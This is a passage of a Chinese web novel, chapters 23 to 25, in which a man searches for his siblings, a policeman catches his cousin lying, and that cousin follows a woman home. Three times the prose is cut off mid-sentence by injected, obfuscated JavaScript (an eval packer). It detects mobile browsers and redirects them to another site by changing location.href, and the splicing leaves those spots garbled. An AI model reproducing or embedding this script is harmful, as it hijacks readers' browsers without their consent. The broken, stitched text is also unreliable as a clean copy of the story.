大叔深深地叹息一声:“认识,不过你爷爷奶奶跟你爸妈的关系不是很好,你妈生了五个孩子,他们可来没有照顾过你妈妈,都是厂里的同事照顾的月子。你妈妈只能把孩子背在背篓里来上班,好在那时候的老厂长心善,让自己闺女帮忙带了一阵子,后来再有孩子,就是大的带小的了。直到你爸妈出事,我们一共就见过你爷爷奶奶几次,每次都是过来要钱,跟讨债的一样,态度很不客气。” 这就难怪他们领了抚恤金会人去楼空了,可能是怕厂里的职工问他们五个孩子是怎么安顿的。 不过那时候厂里出了那么大的事,也牺牲了几十个人,大家的精力都在清理和重建上,还得分出一股力量来调查事故原因,肯定没人有功夫盯着那两个老东西。 姚长英陷入了深深的哀伤与愤怒之中,道谢后离开厂区,他便打了个车,直奔那个老地址而去。 到那一看,何止是人去楼空,连楼都不见了,他打听了一圈,才知道眼前的金鹏购物中心,就是拆了曾经的那个小区建的。 他站在街对面,一时竟不知该何去何从,那种被时代洪流所裹挟的无力感,将他重重包围,他像是一艘孤独的小舟,被海浪吞没。 沉默良久,最终他还是决定再努力一把,他找到了附近的街道办,照着他记录的名字,打听那家人的去向。 可惜街道办的年轻工作人员没什么耐心帮他查找档案,直接让他去派出所户籍科调档案。 然而他没有证据,派出所不能配合他私自查询几十年前的档案,最终只得不了了之。 天黑了,他很失望,不知不觉又走到了金鹏购物中心,失魂落魄地进了大门,百无聊赖地闲逛着。 曾几何时,也许他就在脚下的这块土地上哭着跟哥哥姐姐和妹妹分开,也许他当时还抱着妹妹不肯撒手。 虽然他才两岁多,虽然他什么都不懂,但他一定会做点什么的,也许是哭着喊着要爸爸妈妈,也许是哭着喊着想回家。 也许哥哥姐姐也努力争取过,不想分开,可是到最后,还是避免不了骨肉四散的结局。 他忽然好恨,恨那时的自己太小,什么也改变不了。 他就这么恍恍惚惚的,走进了一家书店,他应该是被咖啡的香味吸引过来的,因为等他回过神来的时候,他正站在咖啡吧台前,盯着面前的价目表。 吧台工作的小陈问了好几声,见这个客人有点心不在焉的,便不催了。 这会儿见他回过神来,小陈便笑着问道:“同志,喝点什么?” “黑咖啡,不要糖,不要奶。”姚长英回头坐下,茫然地打量着眼前的陈设,原来他进的是一家书店,环境还挺不错。 吧台这里还播放着悠扬的古曲,大概是古筝一类的乐器,听起来有种高山流水的洒脱与畅快。 随着音符的起承转合,他的心情可算是好了一点,他端起刚上的苦咖啡,问道:“这边可以借阅书籍?” “可以的同志,不买也没事。”小陈笑着回到吧台后面,“要来点甜品吗?” “来个小蛋糕吧。”姚长英看了眼吧台上的甜品菜单,指了指那个小小的扇形梅子酱芒果蛋糕。 小陈笑道:“不好意思同志,这款卖光了,试试抹茶的这款吗?这是刚推出的新品。” “不了。”姚长英不喜欢抹茶口味的,看了一圈,指了指一款黑森林蛋糕,“就这个吧。” 蛋糕都是提前做好的,切成一小块一小块,摆在冰柜里出售,黑森林正好还有最后一块,小陈打开冰柜,笑道:“真巧,再来晚点就没有了,给,您慢用。” 姚长英笑笑,起身去书架那边看了看。 这家书店还挺有想法,每一套书,都有一本拆了塑封的,可以方便买家翻阅,了解书里的内容之后再决定买不买。 只是这么一来,肯定免不了有人只看不买,多来几次,也就蹭完一整本书了。 也不知道这家老板怎么想的,这么做不吃亏吗? 他拿起一本军事类的杂志,回来坐下,边吃边看。 正吃着,门口来了一个女人,喊道:“小陈,快,过来帮忙卸货,新书到了。” 小陈是男同志,力气大,赶紧出来帮忙。 店里员工不多,新书来了,也只有三个人进进出出的忙碌着,姚长英顾着看书,没有注意到其中一个女人,正是白天的时候在钢铁厂外面见过的那个。 等他吃完准备结账的时候,那女人正在书架后面理货呢,他喊了一声,那女人显然没空,头都没回,喊道:“小陈,你去帮忙结一下账。” 小陈赶紧小跑步来到收银台后面:“你好同志,一共六十九块,您有会员吗?有会员的话打八折。” 姚长英笑了,怪不得这家老板舍得让人蹭书看呢,原来秘诀在这里。 他摇了摇头,掏了一张一百的,找零后走到店门口回头,头一次看清了这家店的名字,新潮书局。 名字不错,商业模式也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954693|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺新潮,年轻人应该会很喜欢。 已经晚上七点多了,他随便在附近找了个酒店住下,准备明天再去小巷里找那些年纪大的人打听一下姚家的事情,后天再走。 他刚走不到两分钟,姚长安便气喘吁吁地跑了过来:“姐,上货怎么也不喊我呀,还是小陈给我打了个电话我才知道的。” 说着便卷起袖子过来帮忙。 穆从意怜惜道:“喊你做什么,我又没给你开晚班的工资,再说了,你不是要学车吗?” “学车急什么呀,我住得近,天天跑过来正好锻炼身体。”姚长安笑着在店里转了一圈,发现咖啡区的桌子上还有杯盘没有收拾,便过去收了,再把桌子擦擦干净,这样书架上的书需要腾挪的时候,不至于碰到这里的杯盘碗盏。 这一忙就到九点多,穆从意不放心她一个人走夜路,特地把她送到了楼下才走。 回到家里已经十点多了,她弟肯定睡了,要么就是在查岗,她等到第二天中午才打了个电话过去。 “承恩啊,我去过钢铁厂了,厂里的老人跟我说,她那个缺德鬼的爷爷奶奶,拿了抚恤金就搬走了。” “那她叔叔伯伯呢?” “都走了,连名字叫什么都不知道,不过我拿到了她爷爷奶奶以前的地址,你猜在哪里?” “不知道。” “你说巧不巧,居然就在新道口。” “什么?那完了,那边全都拆迁了啊。” “可不是吗,我回来之后找了街道办,什么也打听不到。” “算了姐,这都二十几年了,谁还有耐心帮你找那些老档案,你又不是警察。” “要不我找小宋帮忙?” “你可得了吧,小宋用什么名义去调人家的档案?人家犯事儿了?证据呢?现在做事,什么不需要走流程,按规矩来?你别为难人家了。” “哎,也是哦。那怎么办呢?就这么算了?” “别急,我认识她养父,说不定他们知道点什么,等我什么时候休假回去,找她养父谈谈。” “行,不管怎么说,这个妹妹我认定了。” “嗯,我忙了姐。” * 温枕瑜昨天收到了一通电话,钢铁厂档案室的人打来的。 他很庆幸,幸好他早就想到这一点了,提前打了招呼,有什么风吹草动,要第一时间告诉他。 他甚至不需要动什么手脚,就能让姚长英铩羽而归。 没办法,谁让华卫萍这个女人是被送养的呢,她的亲大姐倒是知道她的存在,长大后特地找到她,想要让她认祖归宗,可是她心里有气,不肯跟亲生父母相认。 毕竟她的养父母死得早,她是吃百家饭长大的,从小漂泊惯了,只看重自己的工作、丈夫和孩子,其余人她根本不在乎。 这么一个没有根基的女人,上哪儿去查她的亲属关系? 姚长英必然一无所获,只能按照他设计的剧情走。 只是他没有想到,他大哥为了调查一个跨省流窜作案的连环杀手,出差了,目的地正好是陕西。 这会儿温怀瑾已经上了火车,跟张浩一起。 绿皮车摇摇晃晃,足足走了二十几个小时才到。 两人下车的时候,本地的公安已经在出站口等着了,一行人赶紧去了公安局。 两天后忙完,温怀瑾打了车票,准备回去。 距离火车发车还有五个多小时,他便跟张浩在本地转转,买点土特产什么的回去。 走到一家售楼处的时候,温怀瑾下意识停下了脚步。 他看着正在赔笑脸的邢亚辉,心中升起一朵巨大的疑云,这货不是跟老二在首都实习吗?怎么跑这儿来了? 老二骗了他? 温怀瑾蹙眉,喊了一声:“亚辉,你给我过来!” 23. 拆谎 邢亚辉没想到自己这么倒霉,跑到这么远的地方还能被大表哥发现。 看那不苟言笑的样子,只怕要训他。 他本能地想跑,可是他又能跑到哪里去?只能硬着头皮,挤出一脸谄媚的笑,问道:“哥,你怎么在这里?” 温怀瑾没有理他,只是沉默地打量着这个表弟,西装革履,人模狗样,看起来混得还行。 再看楼盘的名字,阳光尚城,他舅朋友家开发的,他赶紧给了张浩一个眼神暗示,张浩心领神会,一把扯着邢亚辉的膀子,假装去售楼中心参观楼盘模型,看了几分钟便要求去看房。 邢亚辉只得装模作样地跟领班经理说了一声,拿了一串钥匙,带张浩出来。 刚到门口,他就笑不出来了,因为大表哥在打电话,那头应该是他二表哥。 电话挂断,温怀瑾冷冷地扫了过来,吓得邢亚辉赶紧赔笑脸:“哥,怎么了,谁惹你了?” 温怀瑾懒得跟他废话,打开背包,拿出纸笔:“来这里的动机是什么,谁让你来的,几个人,时间,经过,结果,住处,为什么骗家里。全部给我写下来,不准撒谎!” 邢亚辉痛苦地看了眼张浩,指望张浩能帮忙求个情,结果张浩压根不理他。 无奈,他只好随便找了个没有出售的房子,开了门,进去写检查。 等他写完,温怀瑾拿起来一看,不禁冷笑,拿起红笔圈了几处明显的谎话,让这祸害再想想。 邢亚辉真的要哭了,大表哥也太难骗了。 只得认命修改,把跑到这里的动机,从“仰慕秦汉故里”,改成了“想赚很多钱”;又把怂恿他过来的人,从“自己想来”,改成了“二表哥”;至于工作,自然也不是他“自己找的”,而是“二表哥推荐”;住处也不是他“自己找的”,而是“二表哥朋友出租的”。 最后还有一处红圈,他犹豫了半天,下不去手修改,因为被圈起来的是“自己一个人来的”。 这么一句话,一般人哪能看出来是谎话呢?可是大表哥就是可以!简直跟个神棍一样不可思议。 可是他不敢改,一旦让大表哥知道了方美玲的存在,二表哥的计划就要全部落空了。 只能硬着头皮坐在那里,梗着脖子装无辜:“哥,你是不是搞错了,我真的是自己过来的。” 温怀瑾嗤笑道:“我还能不了解你?” 邢亚辉头皮发麻,不敢承认也不敢反驳,只得一个劲地看着张浩,眼中满是哀求。 可惜张浩又不是他发小,才不惯他这个毛病,干脆补了一刀:“温哥说得没错啊,你说你上个大学都要追着未婚妻追到首都,现在实习了,你会自己跑到西北来?你当你哥是傻子?说吧,是不是跟哪个女孩子一起来的?叫什么?同居了吗?你就是为了她抛弃了冯媛媛?” 问题一个接一个,个个都直击要害,邢亚辉终于理解为什么大表哥没朋友了,也就张浩能跟大表哥混在一起。 两人总喜欢给别人照X光,让人无处遁形!太折磨人了! 也难怪二表哥受不了这个大哥,干点什么坏事都藏不住。 可是今天这事,他真不能说啊。只能把心一横:“真没有,我都单身好几个月了。跟冯媛媛分手,还不是因为她太粘人了,我上个晚自习都要跟着,我受不了。” 张浩当然不会信他,只能眼神询问温哥,怎么办。 温怀瑾直接伸手:“暂住证。” 平平无奇的三个字,却吓得邢亚辉直接从椅子上跌坐在地上,他怔怔的看着自己的大表哥,欲哭无泪:“哥,求你了,我真的只是来实习的,没有干别的坏事。” 温怀瑾不会信他的,起身叮嘱张浩:“看着他,我去查。” 邢亚辉彻底服了,连滚带爬地扑上来,抱住了温怀瑾的小腿:“哥!哥!我说!我说!你别去售楼中心,我都做了快三个月了,拿不到实习证明就完蛋了。” 温怀瑾没有说话,低头看着他,轻轻抽回了自己的腿,静候下文。 邢亚辉赶紧编了一套说辞:“你们也知道,我懒,我想不劳而获。我跟冯媛媛在一起,就是因为听说她家要拆迁了。后来不拆了,我也想凑合过,可是她真的太粘人了,我受不了。正好我同学家里要拆迁,我就找了个借口跟她分了,追到了同学老家。不过我同学还没有答应跟我在一起,她要考察我一段时间。” “同学叫什么?”温怀瑾哪有那么好骗,继续追根问底。 邢亚辉快哭了,好在他真的有同学是这里的,便半真半假的回道:“钱霁怡。哥你千万不要去找人家啊!人家爸妈要求高,我不一定能攀得上。” 温怀瑾没听说过这个名字,但他有的是办法拆谎。 他拿起大哥大,打给了温枕瑜,开了扬声器:“亚辉跟你在一起实习?” “对啊哥。”温枕瑜并不知道他哥就在邢亚辉旁边站着。 温怀瑾冷笑:“亚辉,跟你二哥打声招呼。” 邢亚辉赶紧喊了声哥。 这声哥,简直啪啪打脸,温枕瑜怎么也没想到大哥去了西北,他只能装糊涂:“哦,我忘了说了,他前几天请假,有点事,去了外地。” “什么事?” “还能有什么事,赚钱呗。那个冯媛媛不是让他家赔了七万吗?他后妈不乐意,让他打了欠条,我就推荐他卖楼,这样挣得多。” 温怀瑾面无表情地看着邢亚辉:“是吗?亚辉跟我说,他在追钱霁怡。” 温枕瑜的脑子宕机了,愣了好几秒才反应过来:“是他同学吧?我见过,家在西北。” “嗯,看亚辉的态度,志在必得。”温怀瑾继续套话。 那邢亚辉并不知道钱霁怡在未来也会成为他二表哥的血包,只想赶紧应付了大表哥再说,所以他也没有否认。 可是那头的温枕瑜炸毛了,骂道:“他有病吧他!不好好挣钱整天fa情做什么?你让他接电话,看我不骂死他!” 温怀瑾自然不可能听话照做,他直接挂了电话,坐在椅子上,抱着双臂,看猴。 邢亚辉颓然地跌坐在地上,只得坦白从宽:“我……我没有追钱霁怡。” “说吧,到底过来干什么的?”温怀瑾没有耐心了。 邢亚辉还是不敢说实话,只得耷拉着脑袋:“哥,你饶了我吧,不行我跟你回去。” “实习证明不要了?” “要,你帮我求个情,反正老板是你舅舅的朋友。” “满三个月了?” “还差几天。” “行,去收拾东西。”温怀瑾打给了自己舅舅,让他赶紧跟朋友说一声,让人事部把邢亚辉的实习报告给签了,日期往后推半个月。 邢亚辉就这么被迫打了张站票,跟着温怀瑾回去了。 在他走后,温枕瑜的电话就追到了售楼中心,得知邢亚辉已经走了,气得他把手里的杯子砸了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姚长平也是最聪明的,她不理解:“长英啊,你想想,你都查不出个线索来,她是怎么找到你的?不瞒你说,大姐昨天找爸妈套过话了,咱妈当初去抱你回来的时候,你那几个哥哥姐姐和小妹都已经送人了。你小妹的爸妈是不可能知道你的下落的。” “假如他们跟我的叔叔伯伯有联系呢?”姚长英的怀疑也合理。 姚长平摇头:“不可能,你的叔叔伯伯得了抚恤金,恨不得飞到外太空躲起来,要不然,你们的养父母找他们要钱怎么办?那笔钱本来就该是你们的。” 姚长英想想也对:“嗯,这个方美玲有问题。” “对。至于问题在哪里,我也说不清楚。这样,你先假装相信她,多接触接触,如果她真的有问题,迟早会露出马脚的!”姚长平想了想,提议道,“下次她再找你,你叫上我,我们一起去见她。” “好!”姚长英想了想,写了个美容院的地址给她,“三姐,要不先让大姐接近她试试?我先回单位销假。” “大姐性子柔和,最有亲和力了,一般人都不会防着大姐的。可是大姐跟她有点像啊。”姚长平想了想,道,“要不我去吧,不要说真名,把姓改了,姓华!” 华是姚长英亲妈的姓,可以,他觉得挺好! 等他去单位销假回来,果然接到了方美玲的电话,他借口没空,要补班,约了半个月后再见。 半个月,足够三姐接触一下方美玲了。 24. 初见 天气越来越暖和了,姚长安很容易犯困。她还在实习,并不想因为这个给老板留下不好的印象,只得起来活动一下筋骨。 正好店里只有两个喝咖啡的小情侣,她便跟小陈说了一声,出门上厕所去了。 前脚刚走,便来了两个客人,为首的一米八左右,高高帅帅的,单手插兜,走起路来,带着一种六亲不认的冷酷,后面跟着的跟他有几分相似,个头稍微逊色一点,垂头丧气的,像个瘪三。 两人都是一身名牌,球鞋也是耐克的,看起来家境不错。 进了店门,没看见有收银员,两人便自顾自往光碟区走去,小陈听到动静在里面喊了声欢迎光临,本店提供手磨咖啡和各种甜品。 个子高的那个没有理会,矮一点的那个赶紧应了一声:“哎,谢谢,我们先随便看看。” 小陈笑了笑,没再说什么,这会儿店里只有他一个人在,图书专员去别的书店打探“敌情”去了,小姚又去了厕所,多一事不如少一事,他便继续琢磨新的甜品品类去了。 约莫五分钟后,姚长安回来了,小陈赶紧跑过来跟她说了一声:“你要不去光碟区看看?有两个客人过去半天了,我忙着做蛋糕,没顾上。” 姚长安明白,这种推销的任务是图书专员的,但是那个姐姐现在不在,只能由她代劳了。 她点点头,去座位上喝了口水,便往光碟区走去:“同志,你们想找什么光碟?跟我说。” 话音刚落,便看到了两张让人反胃的脸,姚长安真想一走了之,可惜这不是她自己的书店,她得有职业道德,说完便面带微笑,在旁边等着。 那温枕瑜下意识看了眼邢亚辉,邢亚辉赶紧回道:“不用不用,我们随便看看,你忙你的。” 那可真是求之不得了,姚长安转身便走,邢亚辉默默松了口气,小声道:“二哥,她怎么在这里啊?” 他那惊讶的表情,好像在说,你不是会未卜先知吗?这么重要的事情,居然没有卜到? 温枕瑜还能不知道他在想什么?手里拿着一张天龙八部的碟,眉头紧蹙,明显是不高兴了。 邢亚辉只好尴尬地笑笑:“也对哦,她是成年人,想去哪儿就去哪儿。” 温枕瑜冷哼一声,丢下光碟,不买了,扭头便走。 邢亚辉赶紧扯住他的袖子,小声道:“二哥,别啊,你都拿手上了又放回去,叫她知道了还以为咱们怕了她呢。” “我怕她?”温枕瑜不禁冷笑,这个姚长安也不知道用了什么办法,居然逃脱了父母双亡被他吸血的命运。 少了这么一个巨大的血包,他发家的第一桶金就只能出卖色相了。 想想就来气,还好他手里还掌握着其他血包的信息,慢慢来,日后不愁没有好日子过。 可即便是这样,他还是不爽,尤其不爽的是,邢亚辉居然误打误撞,提到了钱霁怡的事,那可是他未来的小老婆之一,他是万万不能让邢亚辉沾染的。 好在这货怂包得很,被他大哥一通吓唬,居然就跟着回来了。 倒是帮他省了不少麻烦,所以他回来后虽然训了邢亚辉一通,但也没有过分借题发挥,毕竟方美玲那边还得靠邢亚辉盯着。 所以他才带着邢亚辉出来逛街,打一棒槌给俩甜枣,这个蠢货就会死心塌地地帮他做事。 没想到在这里遇到了姚长安,看气色,过得还挺好。 难怪这阵子他在航大校园里没看见她。 奇怪,这家店,不是她那个表姐开的吗?他们相认了?还是彼此都不知情,只是巧合? 他很好奇,便就坡下驴,重新拿起了那张光碟,顺便又拿了一些武侠片,诸如射雕、神雕、雪山飞狐、笑傲江湖之类的。 邢亚辉傻眼了,小声道:“二哥,买这么多做什么?” “多了才有时间套话。”温枕瑜扭头,又拿了几张爱情片儿,什么甜蜜蜜、新不了情、重庆森林、金枝玉叶等。 邢亚辉一脸茫然:“套话?套什么话?” “你问她跟老板什么关系,谁推荐她来的。”温枕瑜把厚厚一摞光碟全部塞进了邢亚辉怀里。 邢亚辉没拿稳,啪啪掉了几张在地上,姚长安听到动静,拿了一个藤编的小购物篮过来,一言不发扣在了邢亚辉头上。 邢亚辉哭笑不得:“喂,你行行好,帮忙帮到底行不行?” 姚长安扭头,看着他那狼狈的样子,还是出于职业道德,拿下了篮子,又把他怀里的光碟全部装了进去,这才把篮子递给了他。 至于地上的,她没管。 邢亚辉赶紧俯身,捡起地上的光碟,追到了收银台:“喂,安安——” “请你注意称呼。”姚长安回到收银台后面坐下,伸手问他要篮子,计算价格。 邢亚辉只得赔笑脸:“是是是,姚长安同志。你怎么到这儿来了?你跟老板认识?” “不认识,随便找的。”姚长安虽然没听见这对表兄弟的谈话,可她不傻,那温枕瑜看见她的时候,跟活见鬼了似的,肯定会好奇她为什么跑到这里,是不是有熟人之类的。 她自然不会傻到让他如愿。 不过邢亚辉并不觉得她在撒谎,毕竟邢亚辉跟原主订婚那么多年,又是从小一起长大的,原主在省城有没有熟人,他还是知道一点的。 于是他傻笑着把光碟拿出来往她面前摆,摆完下意识看了眼后面的温枕瑜,见他还在装模作样的看书,只得继续套话:“那你在这里工作多久了?顺利吗?有没有人欺负你?” “无可奉告。”姚长安打开商品销售记录本,在每张光碟对应的编号后面加了一笔。 邢亚辉垫着脚,深长脖子一看,笑道:“画正字呢,是不是老板怕你偷东西啊?” 姚长安懒得理他,记录完,报了个数字,让他付钱。 邢亚辉囊中羞涩,赶紧赔笑脸:“等下,我二哥跟我一起,他还在挑书。” 姚长安便打开抽屉,拿出专门的购物袋,给他把光碟装好。 邢亚辉还想再聊聊,可是他问什么她都不开口,只得无奈地催了一声:“二哥你好了吗?” 温枕瑜捧着几本书过来,全都塞进了他怀里,还掏了两张一百的丢在了收银台上,转身便出去了。 那冷酷耍帅的样子,看得姚长安想吐槽,装什么呀,本质是个想吃软饭的凤凰男,连小白脸都比不上,人家小白脸起码还要出卖色相,讨好金主呢,温枕瑜倒好,整天躲在幕后,操控邢亚辉去冲锋陷阵,等到捅了娄子再出来装圣父,拯救全世界。 又当又立的,吐了。 她把书也记上,算好价钱找了零钱,装好书说了声欢迎下次光临,便惜字如金,再也不肯开口了。 邢亚辉厚着脸皮,又问她有男朋友了没有?是自己过来的,还是跟她爸妈一起过来的?住在那里?过几天他回去,需不需要他帮忙带点省城的特产回去给家里的亲戚…… 一连串的问题,姚长安一个没理,邢亚辉实在是无趣,只好讪讪地提着两个购物袋出去了。 温枕瑜看见他那个瘪三样就来气,伸手要回零钱,问道:“打听到什么没有?” 邢亚辉不敢说没有,只得敷衍道:“她跟老板不认识,随便找的。” “她自己来的?” “啊?啊……嗯。” “你也不确定?” “应该是的,我问她是不是自己住,她翻了个白眼,依着我对她的了解,那就是默认了。” “还打听到什么了?” “她……她买房了。”邢亚辉瞎猜的,毕竟她爸妈是真的疼她,拆迁得了那么一大笔钱,怎么可能让她在这里租房住。 租房受气啊。 这跟温枕瑜推测的结果是一样的,于是他问道:“买在哪儿了?” “她不肯说。”邢亚辉赶紧赔笑脸,“你想知道?要不,要不我再去问问?” “不用,你就在附近逛逛,等她下班了,跟着她,弄清楚她住在那里,回来跟我说。”温枕瑜从他手中提走两个购物袋。 邢亚辉有些为难:“这样不好吧?跟踪什么的,也太龌龊了。” “那你自己去问她?”温枕瑜飞了个眼刀子过来。 邢亚辉只好认命地叹了口气:“好吧,我跟。”说着便伸手要钱。 温枕瑜挑眉,明显是不满了。 邢亚辉只好解释道:“我得乔装一下啊,被发现了不得坏菜吗?” 也是,可是这商场里头的衣服太贵了,温枕瑜便给了他一百,让他去后面老街的平价服装店买一身休闲服,再配个鸭舌帽就行了。 邢亚辉换了身装扮回来,又有点担心:“大哥回来看不到我怎么办?” “我就说你找工作去了。”温枕瑜伸手又想要回零钱,邢亚辉不乐意了,直接把衣服的吊牌塞给他。 一件衣服49,一条裤子45,一双回力的球鞋39,一顶鸭舌帽19。 他嘀咕道:“你就给了一百,我自己还垫了30呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967674|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温枕瑜挑眉:“你没有讲价?” “讲了啊,一共134,给我抹掉了零头。”邢亚辉撒谎了,其实他把价钱讲到了90,还剩10块,虽然没几个钱,可他就是不想拿出来。 他盯梢不要辛苦费的吗? 温枕瑜自然不信他,但也没有追问,再计较下去,这小子要撂挑子不干了。 便提着书和光碟,以及邢亚辉换下来的旧衣服回去了。 邢亚辉盯着他的背影撇了撇嘴:“温扒皮!呸!” 下午六点,他总算是知道了姚长安住在哪个小区,可惜他只跟到了电梯外面,只看到姚长安进去了,连几楼都不知道。 好在这会儿进电梯的就她自己,他便从旁边的步梯往上追,一边竖着耳朵留意电梯的动静。 最终电梯停在九楼,他也吭哧吭哧追到了九楼。 可惜他到底晚了一步,只听见了一声关门的声音,没看清姚长安进的是哪套房间。 一梯三户,三分之一的概率。 可是依着他对二表哥的理解,肯定会追根问底的。 他只好硬着头皮,一家一家的敲门,敲了便逃到步梯那里躲着。 九零一直接开门,是个陌生的妇女,抱着孩子。 九零二没人理,估计是还没有下班? 九零三没有开门,倒是从里面传出一声谁啊,不是姚长安还是谁呢? 邢亚辉终于搞清楚了,赶紧开溜。 没想到他运气不好,温怀瑾正在这个小区查案子,这会儿看到他跟个耗子似的从单元楼里钻了出来,立马叫住了他。 “站住,鬼鬼祟祟的,干什么去了?” 邢亚辉直呼倒霉,硬着头皮转过身来,低着头不说话。 一旁的张浩见了,不客气地给了他一个脑崩儿:“说话,瞧你这副偷鸡摸狗的样子,干什么去了?” “跟踪前女友。”邢亚辉受不了被两个人形自走X光同时照射,干脆说了实话。 张浩不禁好奇:“冯媛媛?你不是不要人家了吗?她来这里上班了?” “不是不是。”邢亚辉尴尬地笑笑,“是之前订了婚的那个。” “哦。”张浩听说过这人,“救过你二表哥的那个?” “嗯。”邢亚辉挠了挠后闹勺,偷偷瞥了眼温怀瑾,见他像个铁面包公似的,只得下意识往张浩身后躲去。 温怀瑾没让他得逞,直接提着他的衣领子,把人拽了过来:“说,谁让你跟踪人家的?” “我……我不敢说。”邢亚辉怂了,脖子一缩,做回乌龟。 温怀瑾自然猜到是谁,他很生气:“看来我不该带你来这里,明天叫你爸过来。” “别别别,别啊大哥。你就饶了我吧。说实在的,二哥想做什么坏事你也不清楚对不对?你不如留着我在他跟前,给你当个卧底好不好?”邢亚辉是真的怕了,他爸要是知道他跟踪姚长安,一定会把他往死里打的。 这个办法其实还不错,温怀瑾正在考虑,便看到姚长安换了一身运动服,背着双肩包出来了。 长发扎做一个马尾,高高地在身后甩动,动作轻盈,神色自如。 温怀瑾并不知道她就是邢亚辉口中的“前女友”,可是邢亚辉居然下意识躲到了他的身后,把自己藏了起来,还不忘扯着张浩,让他一起充当屏障。 所以当姚长安看过来的时候,没看见邢亚辉,倒是看到了一面之缘的张浩。 而今天的张浩穿着制服,姚长安明显一愣,笑着打招呼道:“原来你是公安啊!你好!” 张浩笑着打了声招呼:“你住这里啊?” “嗯!”姚长安停下,想着旁边那个也得打声招呼才好,毕竟是人民公安,于是她解开背包,问道,“你和你同事吃过了吗?我这有面包。” “不用不用,我们吃过了。”张浩哪里好意思要女同志的东西,赶紧拒绝了。 姚长安只好收起来,看了眼手表:“我赶时间,礼拜天要考驾照,有空再聊。再见!” “好,慢走啊!”张浩挥了挥手。 回头一看,温怀瑾脸上的愠怒居然不见了,好像在跟人家微笑致意。 张浩忍不住肘了他一下:“你笑什么,人家又不认识你。” “她跟我打招呼了。”温怀瑾收敛笑意,扭头把邢亚辉拽到面前,“说,你跟踪的是不是她?” “啊?不是吧哥,你真是X光啊?”邢亚辉连声哀嚎,他明明什么都没有说啊。 25. 保护 温怀瑾早就听说过姚长安这个人,只是他怎么也没想到,她居然就是火车上的那个女大学生,就是书店的收银员。 其实很久之前,他见过她。 那年他爸妈工作调动,要从栖梧县搬来省城,那会儿他小姨还活着,他妈妈舍不得小姨,特地带着他们兄妹三个去乡下探亲。 那个暑气逼人的夏天,农村刚刚通电,即便通了,也是两天一小跳三天一大跳的,加上老百姓普遍比较穷困,所以走遍整个村子,也看不到几台电扇。 他妈妈便把家里的唯一一台电扇送给了小姨,反正他爸升迁了,到了省城不愁搞不到工业票。 邢亚辉激动坏了,特地邀请了几个小朋友来家里见见世面。 姚长安也受到了邀请。 当时过来的那群孩子,个个邋里邋遢的,不是在水塘里滚了一身泥巴,就是在树上淋了一头鸟屎。 一看就是家长没空管的,放养的孩子。 可是人群外围,有个小女生白白净净的,穿着漂亮的粉色小裙子,踩着雪白的小皮鞋,扎着两个小辫子,安静地站在门口,没有进来。 他小姨招了招手,喊她进来:“安安,来,叫大姨。” 小姑娘可能有点认生,没有进来,只是隔着涌动的小脑袋瓜们,喊了声阿姨好,喊完就走了,看起来并不喜欢热闹。 小姨赶紧跟他妈妈解释:“这孩子家里也有电扇,不稀奇。” 他妈妈不禁好奇:“是吗?她爸妈做什么的?” “承包了果园,还弄了几口鱼塘。”小姨显然对她家特别了解。 他妈妈恍然:“怪不得养得这么好,跟城里小孩似的。就是性格好像有点怪。” 小姨笑道:“一点也不怪啊,她爸妈忙,怕她乱跑掉到河里,平时都让她在家里看电视,不怎么出来玩的。她还特地过来叫你阿姨,很懂事了!” “那倒也是。”他妈妈还有私房话跟小姨说,便进屋去了,留下一群孩子在堂屋闹腾。 后来她爸妈从地里回来了,得知好朋友的姐姐来了,特地提了一篮子葡萄和一桶海鲜过来。 姚长安也跟着,被她爸妈一左一右牵着,很是幸福。 不过她还是认生得很,就在门口树下站着,不肯进来。 没想到,那么认生的小孩,长大了居然变得这么热情了,甚至要请陌生的公安吃面包,真是女大十八变! 这大概是对公安本能的敬意? 总之,他当了这么几年警察,头一次直面这样热烈的善意,他真的挺感动的。他看着面前惊慌失措的邢亚辉,确认道:“她就是姚长安?” “啊?嗯!”邢亚辉愣了一下,他没有提名字吧,大表哥到底怎么知道的啊?总不能是因为小时侯见了一面吧,那会儿姚长安还没有长开呢,如今应该认不出来才对啊。 难不成大表哥真是人形自走X光? 救命啊,他忽然明白二表哥的恐惧到底是因为什么了。一时无奈,只好低垂着脑袋,盯着自己的球鞋装可怜。 温怀瑾并不相信他的表演,问道:“你二哥为什么让你跟踪她?” “……”邢亚辉快崩溃了,能不能别问啊,他快哭了,迫于大表哥的威压,又不敢不说,只得嘀咕道,“其实我也不清楚,他刚开始让我打听姚长安跟店长什么关系,姚长安不理我,二哥就让我跟踪她,弄清楚她住在哪里,以后再做打算。” “以后?什么打算?”温怀瑾刨根问底。 邢亚辉可不敢说实话,要是让他大表哥知道二表哥玩的把戏,非得让他老子赶过来抽死他不可! 只得撒了个似是而非的谎:“她家拆迁了,有钱。二哥不是搞建筑公司吗,可能是想拉她入伙吧。我也不是很清楚,你问二哥好了。” 温怀瑾没有说话,直接把人拽去了公交站。 